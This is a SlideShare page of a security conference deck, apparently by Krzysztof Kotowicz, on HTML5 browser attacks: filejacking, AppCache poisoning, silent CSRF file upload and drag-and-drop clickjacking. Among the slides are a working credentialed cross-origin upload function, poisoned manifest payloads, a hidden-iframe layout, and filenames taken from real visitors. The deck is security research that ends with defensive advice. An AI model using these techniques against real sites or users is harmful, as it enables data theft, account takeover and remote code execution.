SlideShare a Scribd company logo
1 of 47
Download to read offline
H TML5




         Krzysztof Kotowicz, SecuRing
         kkotowicz@securing.pl
         @kkotowicz
Meet Bob




           2
Meet Bob


 #1 Bob is a CSO of largebiz.com
 #1b Bob has interesting stuff
 #2 I don’t like Bob
 #3 I want to pwn Bob



                                   3
Bob’s pwnage stage #1
• Bob has a hobby - e.g. hacking
• He has cool file://s
• I want to get them!
• He’s not THAT stupid to run EXE, SCR
   etc.


• Use filejacking!

                                         4
Filejacking
• HTML5 directory upload (Chrome only)
  <input type=file directory>

• displays this    ====>
• JS gets read access to
    all files within
    chosen folder



                                         5
Filejacking
  Business plan
• set up tempting webpage
• overlay input (CSS) with

• wait for Bob
• get files & upload them to your server

                                          6
Filejacking




              7
Filejacking




              8
Filejacking
• I’ve tried this IRL
• How clueless users actually are?
  • http://kotowicz.net/wu running for ~13 mo
  • very limited exposure
  • only websec oriented visitors


• 298 clients connected (217 IPs)
• tons of interesting files
                                                9
Filejacking
  LOTS of these ------>
• Downloads/#
    BeNaughtyLive.com/
• Downloads/#
    GoLiveTrannies.com/
• BratSluts 11 12 04 Sasha
    Cane Red Tartan
    SchoolGirl XXX 720p
    WMV SEXORS.nzb
• bitches/1300563524557.jpg
• Flowchart-Fap-To-It.jpg

                              10
Filejacking
• websec staff!




• but surely no private data?

                                11
Filejacking
•   Wireless Assess points.txt
•   interesting network next to me.txt
•   onlinePasswords.txt
•   s/pw.txt
•   letter of authorization.pdf
•   Staff-<name,surname>.pdf
•   <name,surname> - resume.doc
•   Pricing-Recommendation_CR.xlsm.zip

• but surely no clients data?
                                         12
Filejacking
• sony reports/                • Faktura_numer_26_2011_
    0045_sonymusic.##.zip           <company>.pdf
• SecurityQA.SQL.Injection.    • websec cred~
    Results.v1.1.docx          • security_users.sql.zip
• SSOCrawlTest5.4.097.xml      • !important - questions for
• IPS CDE Wireless Audit-           web developers.docx
     January 2011-1 0.docx     • sslstrip.log~
• IPS Wireless Testing         • ##### Paros Log.txt
     Schedule April 2011.xls
• 01-####### Corporation
    (Security Unarmed             So much for NDAs...
    Guard).xls

                                                              13
Filejacking

+ All your file are belong to me
+ Trivial to set up
+ Filter files by e.g. extension, size etc.
-   Chrome only
-   Requires users prone to social-
     engineering


                                             14
Bob’s pwnage stage #2
• Bob travels a lot & loves Facebook
• I want to control Bob’s FB account
  • even when he changes the password in a month
• I want to fingerprint Bob’s intranet


• Use rogue access point &
   AppCache poisoning!

                                                   15
AppCache poisoning
 HTML5 Offline Web
  Applications
 <html manifest=cache.manifest>

• cache.manifest lists URLs to cache
• cache expires only when CACHE MANIFEST
                              index.html
   manifest is changed     stylesheet.css
                           images/logo.png
                           scripts/main.js


                                             16
AppCache poisoning




    Poison     Wait     Profit
   AppCache   for Bob




                                17
AppCache poisoning
• DEMO
• Quirks used:
  • manifest must be MIME text/cache-manifest
  • Chrome fills AppCache without user
     confirmation




                                                18
AppCache poisoning
• tamper http://victim/
   <html manifest=/robots.txt>
   <script>evil()</script>
• tamper http://victim/robots.txt
      CACHE MANIFEST
      CACHE:
      http://victim/
      NETWORK:
      *                             19
AppCache poisoning
  Later on, after m-i-t-m:
1. http://victim/ fetched from AppCache
2. browser checks for new manifest
     GET /robots.txt
3. receives text/plain robots.txt & ignores it
4. tainted AppCache is still used


                                                 20
AppCache poisoning

+ Poison any URL
+ Payload stays until manually removed
-   Chrome or Firefox with user
     interaction
-   Needs active man-in-the-middle to
     inject
     https://github.com/koto/sslstrip

                                         21
Bob’s pwnage stage #3
• Bob loves sharing photos (Flickr?)
• I want to replace Bob as CSO
• What if Bob uploaded some discrediting
   files?


• Try silent file upload


                                           22
Silent file upload
• File upload purely in Javascript
• Emulates <input type=file> with:
  • any file name
  • any file content
• File constructed in Javascript
    (it’s not a real file!)
• Uses Cross Origin Resource Sharing

                                       23
Silent file upload
• Cross Origin Resource Sharing
   = cross domain AJAX
http://attacker.com/

var xhr = new XMLHttpRequest();
    
xhr.open("POST", "http://victim", true);
xhr.setRequestHeader("Content-Type", "text/plain");
xhr.withCredentials = "true"; // send cookies
xhr.send("Anything I want");


                                                 24
Silent file upload
• raw multipart/form-data request
function fileUpload(url, fileData, fileName) {
   var boundary = "xxxxxxxxx",
       xhr = new XMLHttpRequest();
    
   xhr.open("POST", url, true);
   xhr.withCredentials = "true";
   xhr.setRequestHeader("Content-Type",
      "multipart/form-data,
boundary="+boundary);


                                                 25
Silent file upload

var b = "
--" + boundary + 'rn
Content-Disposition: form-data;
 name="contents"; filename="' + fileName + '"rn
Content-Type: application/octet-streamrn
rn
' + fileData + 'rn
--' + boundary + '--';

xhr.setRequestHeader("Content-Length", b.length);
xhr.send(b);



                                                     26
Silent file upload

+ No user interaction
+ Works in most browsers
+ You can add more form fields
-   CSRF flaw needed
-   No access to response



                                27
Silent file upload




                DEMO
              Flickr.com




                           28
Silent file upload
• GlassFish Enterprise Server 3.1.
  • CVE 2012-0550 by Roberto Suggi Liverani
• //goo.gl/cOu1F
  logUrl = 'http://glassfishserver/
    management/domain/applications/
    application';
  fileUpload(c,"maliciousarchive.war");

• logged admin + CSRF = RCE
                                              29
Same origin policy
• makes web (relatively) safe
  • restricts cross-origin communication
• can be relaxed though
  • crossdomain.xml
  • document.domain
  • HTML5 Cross Origin Resource Sharing
• or ignored...
  • UI redressing

                                           30
UI Redressing?




      Jedi mind tricks on victim users
                                         31
UI Redressing
 • This is not the page you’re looking at
 • This is not the thing you’re clicking
 • .................................................. dragging
 • .................................................. typing
 • .................................................. copying


 • Victims attack the applications for us


                                                                 32
Clickjacking?




                33
Bob’s pwnage stage #4
• Bob likes online games
• I found a vulnerable website used by Bob
• Bob would have to type the payload
   himself :-(


• Make Bob play a game!


                                             34
Drag into
• Put attackers content into victim form




  Demo
                                           35
Drag into

+ Inject arbitrary content
+ Trigger self-XSS
-   Firefox only (will die soon!)
-   X-Frame-Options




                                    36
Bob’s pwnage stage #5
• Bob has access to internal HR
   application
• I want to know his salary



• Make Bob play a game
   (again)!

                                  37
Drag out content extraction



    image


                    image




                              38
Drag out content extraction



    image
        victim
      <iframe>
                    image




                              39
Drag out content extraction



    image
        victim
      <iframe>
                   textarea
                     <textarea>




                                  40
Drag out content extraction

<div id=game style="position:relative">
    <img style="position:absolute;..."
          src="paper.png" />
    <img style="position:absolute;..."
          src="trash.png" />    
    <iframe scrolling=no id=iframe
     style="position:absolute;opacity:0;...">
     </iframe>
   <textarea style="position:absolute;
       opacity:0;..." id=dropper></textarea>
</div>

                                                41
Drag out content extraction




                              42
Drag out content extraction




                              43
Drag out content extraction




            Demo       .




                              44
Drag out content extraction

+ Access sensitive content cross domain
-   Firefox only (will die soon!)
-   X-Frame-Options




                                          45
Summary
• HTML5 is attacker’s friend too!
• Don’t get framed
• Users based pwnage FTW

  Developers:
  Use X-Frame-Options:
   DENY
                                    46
Wake up, I’m done!
• html5sec.org
• code.google.com/p/html5security
• www.contextis.co.uk/research/white-papers/clickjacking

• blog.kotowicz.net
• github.com/koto

   Twitter: @kkotowicz
   kkotowicz@securing.pl


   Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_,
      @lavakumark, @malerisch, @skeptic_fx, ....


                                                           47

More Related Content

What's hot

Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
 Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEFMichele Orru
 
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download DetectionDrivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download DetectionWayne Huang
 
Practical Phishing Automation with PhishLulz - KiwiCon X
Practical Phishing Automation with PhishLulz - KiwiCon XPractical Phishing Automation with PhishLulz - KiwiCon X
Practical Phishing Automation with PhishLulz - KiwiCon XMichele Orru
 
Advances in BeEF - AthCon2012
Advances in BeEF - AthCon2012Advances in BeEF - AthCon2012
Advances in BeEF - AthCon2012Michele Orru
 
Dark Fairytales from a Phisherman (Vol. II)
Dark Fairytales from a Phisherman (Vol. II)Dark Fairytales from a Phisherman (Vol. II)
Dark Fairytales from a Phisherman (Vol. II)Michele Orru
 
Html5: something wicked this way comes
Html5: something wicked this way comesHtml5: something wicked this way comes
Html5: something wicked this way comesKrzysztof Kotowicz
 
Be ef presentation-securitybyte2011-michele_orru
Be ef presentation-securitybyte2011-michele_orruBe ef presentation-securitybyte2011-michele_orru
Be ef presentation-securitybyte2011-michele_orruMichele Orru
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveGreenD0g
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platformskosborn
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012Abraham Aranguren
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionMikhail Egorov
 
Hacktivity2011 be ef-preso_micheleorru
Hacktivity2011 be ef-preso_micheleorruHacktivity2011 be ef-preso_micheleorru
Hacktivity2011 be ef-preso_micheleorruMichele Orru
 
WebView security on iOS (EN)
WebView security on iOS (EN)WebView security on iOS (EN)
WebView security on iOS (EN)lpilorz
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front endErlend Oftedal
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesAbraham Aranguren
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
 
I got 99 trends and a # is all of them
I got 99 trends and a # is all of themI got 99 trends and a # is all of them
I got 99 trends and a # is all of themRoberto Suggi Liverani
 

What's hot (20)

Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
 Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
Rooting Your Internals: Inter-Protocol Exploitation, custom shellcode and BeEF
 
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download DetectionDrivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
Drivesploit: Circumventing Both Automated AND Manual Drive-By-Download Detection
 
Practical Phishing Automation with PhishLulz - KiwiCon X
Practical Phishing Automation with PhishLulz - KiwiCon XPractical Phishing Automation with PhishLulz - KiwiCon X
Practical Phishing Automation with PhishLulz - KiwiCon X
 
Advances in BeEF - AthCon2012
Advances in BeEF - AthCon2012Advances in BeEF - AthCon2012
Advances in BeEF - AthCon2012
 
Browser Security
Browser SecurityBrowser Security
Browser Security
 
Dark Fairytales from a Phisherman (Vol. II)
Dark Fairytales from a Phisherman (Vol. II)Dark Fairytales from a Phisherman (Vol. II)
Dark Fairytales from a Phisherman (Vol. II)
 
Html5: something wicked this way comes
Html5: something wicked this way comesHtml5: something wicked this way comes
Html5: something wicked this way comes
 
Be ef presentation-securitybyte2011-michele_orru
Be ef presentation-securitybyte2011-michele_orruBe ef presentation-securitybyte2011-michele_orru
Be ef presentation-securitybyte2011-michele_orru
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
The Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile PlatformsThe Hidden XSS - Attacking the Desktop & Mobile Platforms
The Hidden XSS - Attacking the Desktop & Mobile Platforms
 
VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012VSA: The Virtual Scripted Attacker, Brucon 2012
VSA: The Virtual Scripted Attacker, Brucon 2012
 
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protectionNeat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
 
Hacktivity2011 be ef-preso_micheleorru
Hacktivity2011 be ef-preso_micheleorruHacktivity2011 be ef-preso_micheleorru
Hacktivity2011 be ef-preso_micheleorru
 
WebView security on iOS (EN)
WebView security on iOS (EN)WebView security on iOS (EN)
WebView security on iOS (EN)
 
Web Application Security in front end
Web Application Security in front endWeb Application Security in front end
Web Application Security in front end
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web ServicesXXE Exposed: SQLi, XSS, XXE and XEE against Web Services
XXE Exposed: SQLi, XSS, XXE and XEE against Web Services
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Hacking sites for fun and profit
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
 
I got 99 trends and a # is all of them
I got 99 trends and a # is all of themI got 99 trends and a # is all of them
I got 99 trends and a # is all of them
 

Viewers also liked

Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Krzysztof Kotowicz
 
日本医療企画ヘルスケア・レストラン201508
日本医療企画ヘルスケア・レストラン201508日本医療企画ヘルスケア・レストラン201508
日本医療企画ヘルスケア・レストラン201508Masashi Fujii
 
부평오피&청주오피#사이트【http://dasom10.net】인천오피
부평오피&청주오피#사이트【http://dasom10.net】인천오피부평오피&청주오피#사이트【http://dasom10.net】인천오피
부평오피&청주오피#사이트【http://dasom10.net】인천오피dasomnet33
 
Qualified Lead Definition Tool
Qualified Lead Definition ToolQualified Lead Definition Tool
Qualified Lead Definition ToolDemand Metric
 
Mary fonseca El deslinde de propiedad contiguas
Mary fonseca El deslinde de propiedad contiguasMary fonseca El deslinde de propiedad contiguas
Mary fonseca El deslinde de propiedad contiguasmaryfonseca2325
 
Winter Fire Safety - Safety Tips For Your Home
Winter Fire Safety - Safety Tips For Your HomeWinter Fire Safety - Safety Tips For Your Home
Winter Fire Safety - Safety Tips For Your HomeNorfolk Naval Shipyard
 
More Sales Group Sales Training Presentation
More Sales Group Sales Training PresentationMore Sales Group Sales Training Presentation
More Sales Group Sales Training Presentationmoresalesgroup
 
Proactive performance management_what_is_all_about_v0.3
Proactive performance management_what_is_all_about_v0.3Proactive performance management_what_is_all_about_v0.3
Proactive performance management_what_is_all_about_v0.3Trevor Warren
 
Economía Mundial de China
Economía Mundial de ChinaEconomía Mundial de China
Economía Mundial de ChinaJaqueeRoldann
 
Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...
Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...
Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...José Ignacio Sánchez Amezua
 

Viewers also liked (20)

Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
Biting into the forbidden fruit. Lessons from trusting Javascript crypto.
 
Work for Pentasia
Work for PentasiaWork for Pentasia
Work for Pentasia
 
Pengelolaan usaha ku
Pengelolaan usaha kuPengelolaan usaha ku
Pengelolaan usaha ku
 
日本医療企画ヘルスケア・レストラン201508
日本医療企画ヘルスケア・レストラン201508日本医療企画ヘルスケア・レストラン201508
日本医療企画ヘルスケア・レストラン201508
 
Mapnik and Node.js
Mapnik and Node.jsMapnik and Node.js
Mapnik and Node.js
 
Trabajo final economia
Trabajo final economiaTrabajo final economia
Trabajo final economia
 
Dubal-Case-Study-ME
Dubal-Case-Study-MEDubal-Case-Study-ME
Dubal-Case-Study-ME
 
부평오피&청주오피#사이트【http://dasom10.net】인천오피
부평오피&청주오피#사이트【http://dasom10.net】인천오피부평오피&청주오피#사이트【http://dasom10.net】인천오피
부평오피&청주오피#사이트【http://dasom10.net】인천오피
 
Qualified Lead Definition Tool
Qualified Lead Definition ToolQualified Lead Definition Tool
Qualified Lead Definition Tool
 
Mary fonseca El deslinde de propiedad contiguas
Mary fonseca El deslinde de propiedad contiguasMary fonseca El deslinde de propiedad contiguas
Mary fonseca El deslinde de propiedad contiguas
 
Accidente coche moto
Accidente coche motoAccidente coche moto
Accidente coche moto
 
Winter Fire Safety - Safety Tips For Your Home
Winter Fire Safety - Safety Tips For Your HomeWinter Fire Safety - Safety Tips For Your Home
Winter Fire Safety - Safety Tips For Your Home
 
Routes tips
Routes tipsRoutes tips
Routes tips
 
More Sales Group Sales Training Presentation
More Sales Group Sales Training PresentationMore Sales Group Sales Training Presentation
More Sales Group Sales Training Presentation
 
John Quinton-Barber, Social Communications
John Quinton-Barber, Social CommunicationsJohn Quinton-Barber, Social Communications
John Quinton-Barber, Social Communications
 
Proactive performance management_what_is_all_about_v0.3
Proactive performance management_what_is_all_about_v0.3Proactive performance management_what_is_all_about_v0.3
Proactive performance management_what_is_all_about_v0.3
 
Mayas 8
Mayas 8Mayas 8
Mayas 8
 
ammoniautility operator
ammoniautility operatorammoniautility operator
ammoniautility operator
 
Economía Mundial de China
Economía Mundial de ChinaEconomía Mundial de China
Economía Mundial de China
 
Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...
Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...
Medicamentos antidiabéticos para adultos con diabetes tipo 2. Revisión de efe...
 

Similar to Html5: Something wicked this way comes (Hack in Paris)

Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesYury Chemerkin
 
Antisnatchor all you ever wanted to know about beef
Antisnatchor   all you ever wanted to know about beefAntisnatchor   all you ever wanted to know about beef
Antisnatchor all you ever wanted to know about beefDefconRussia
 
ZeroNights2012_BeEF_Workshop_antisnatchor
ZeroNights2012_BeEF_Workshop_antisnatchorZeroNights2012_BeEF_Workshop_antisnatchor
ZeroNights2012_BeEF_Workshop_antisnatchorMichele Orru
 
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensionsZoltan Balazs
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) Volkan Özçelik
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesVolkan Özçelik
 
[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012
[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012
[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012Zoltan Balazs
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Volkan Özçelik
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...CODE BLUE
 
Zombie browsers spiced with rootkit extensions - DefCamp 2012
Zombie browsers spiced with rootkit extensions - DefCamp 2012Zombie browsers spiced with rootkit extensions - DefCamp 2012
Zombie browsers spiced with rootkit extensions - DefCamp 2012DefCamp
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)Larry Cashdollar
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchainjasonhaddix
 
Security research over Windows #defcon china
Security research over Windows #defcon chinaSecurity research over Windows #defcon china
Security research over Windows #defcon chinaPeter Hlavaty
 
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdfBrute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdfLior Rotkovitch
 
Scraping Scripting Hacking
Scraping Scripting HackingScraping Scripting Hacking
Scraping Scripting HackingMike Ellis
 
Expert guide for PHP
Expert guide for PHPExpert guide for PHP
Expert guide for PHPSteve Fort
 
Crossing Origins by Crossing Formats
Crossing Origins by Crossing FormatsCrossing Origins by Crossing Formats
Crossing Origins by Crossing Formatsinternot
 

Similar to Html5: Something wicked this way comes (Hack in Paris) (20)

Krzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comesKrzysztof kotowicz. something wicked this way comes
Krzysztof kotowicz. something wicked this way comes
 
Antisnatchor all you ever wanted to know about beef
Antisnatchor   all you ever wanted to know about beefAntisnatchor   all you ever wanted to know about beef
Antisnatchor all you ever wanted to know about beef
 
ZeroNights2012_BeEF_Workshop_antisnatchor
ZeroNights2012_BeEF_Workshop_antisnatchorZeroNights2012_BeEF_Workshop_antisnatchor
ZeroNights2012_BeEF_Workshop_antisnatchor
 
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
[ENG] Hacker halted 2012 - Zombie browsers, spiced with rootkit extensions
 
External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
 
External JavaScript Widget Development Best Practices
External JavaScript Widget Development Best PracticesExternal JavaScript Widget Development Best Practices
External JavaScript Widget Development Best Practices
 
Hacktivityonly 121013141039-phpapp02
Hacktivityonly 121013141039-phpapp02Hacktivityonly 121013141039-phpapp02
Hacktivityonly 121013141039-phpapp02
 
[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012
[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012
[ENG] Zombie browsers spiced with rootkit extensions - Hacktivity 2012
 
Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012Java scriptwidgetdevelopmentjstanbul2012
Java scriptwidgetdevelopmentjstanbul2012
 
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
Abusing Adobe Reader’s JavaScript APIs by Abdul-Aziz Hariri & Brian Gorenc - ...
 
Google Hacking 101
Google Hacking 101Google Hacking 101
Google Hacking 101
 
Zombie browsers spiced with rootkit extensions - DefCamp 2012
Zombie browsers spiced with rootkit extensions - DefCamp 2012Zombie browsers spiced with rootkit extensions - DefCamp 2012
Zombie browsers spiced with rootkit extensions - DefCamp 2012
 
How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)
 
The Web Application Hackers Toolchain
The Web Application Hackers ToolchainThe Web Application Hackers Toolchain
The Web Application Hackers Toolchain
 
Security research over Windows #defcon china
Security research over Windows #defcon chinaSecurity research over Windows #defcon china
Security research over Windows #defcon china
 
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdfBrute Force - Lior Rotkovitch - f5 SIRT v5.pdf
Brute Force - Lior Rotkovitch - f5 SIRT v5.pdf
 
Scraping Scripting Hacking
Scraping Scripting HackingScraping Scripting Hacking
Scraping Scripting Hacking
 
Expert guide for PHP
Expert guide for PHPExpert guide for PHP
Expert guide for PHP
 
Crossing Origins by Crossing Formats
Crossing Origins by Crossing FormatsCrossing Origins by Crossing Formats
Crossing Origins by Crossing Formats
 
Owning the bad guys
Owning the bad guys Owning the bad guys
Owning the bad guys
 

More from Krzysztof Kotowicz

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Krzysztof Kotowicz
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSKrzysztof Kotowicz
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Krzysztof Kotowicz
 
I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffKrzysztof Kotowicz
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptKrzysztof Kotowicz
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptKrzysztof Kotowicz
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Krzysztof Kotowicz
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersKrzysztof Kotowicz
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)Krzysztof Kotowicz
 

More from Krzysztof Kotowicz (11)

Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
Trusted Types - Securing the DOM from the bottom up (JSNation Amsterdam)
 
Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018Trusted Types @ W3C TPAC 2018
Trusted Types @ W3C TPAC 2018
 
Trusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSSTrusted Types and the end of DOM XSS
Trusted Types and the end of DOM XSS
 
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
 
HTML5: Atak i obrona
HTML5: Atak i obronaHTML5: Atak i obrona
HTML5: Atak i obrona
 
I'm in your browser, pwning your stuff
I'm in your browser, pwning your stuffI'm in your browser, pwning your stuff
I'm in your browser, pwning your stuff
 
Creating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScriptCreating, obfuscating and analyzing malware JavaScript
Creating, obfuscating and analyzing malware JavaScript
 
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScriptTworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
Tworzenie, zaciemnianie i analiza złośliwego kodu JavaScript
 
Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?Jak ocalić swoje dane przed SQL injection?
Jak ocalić swoje dane przed SQL injection?
 
SQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developersSQL Injection: complete walkthrough (not only) for PHP developers
SQL Injection: complete walkthrough (not only) for PHP developers
 
Kompletny przewodnik po SQL injection dla developerów PHP (i nie tylko)
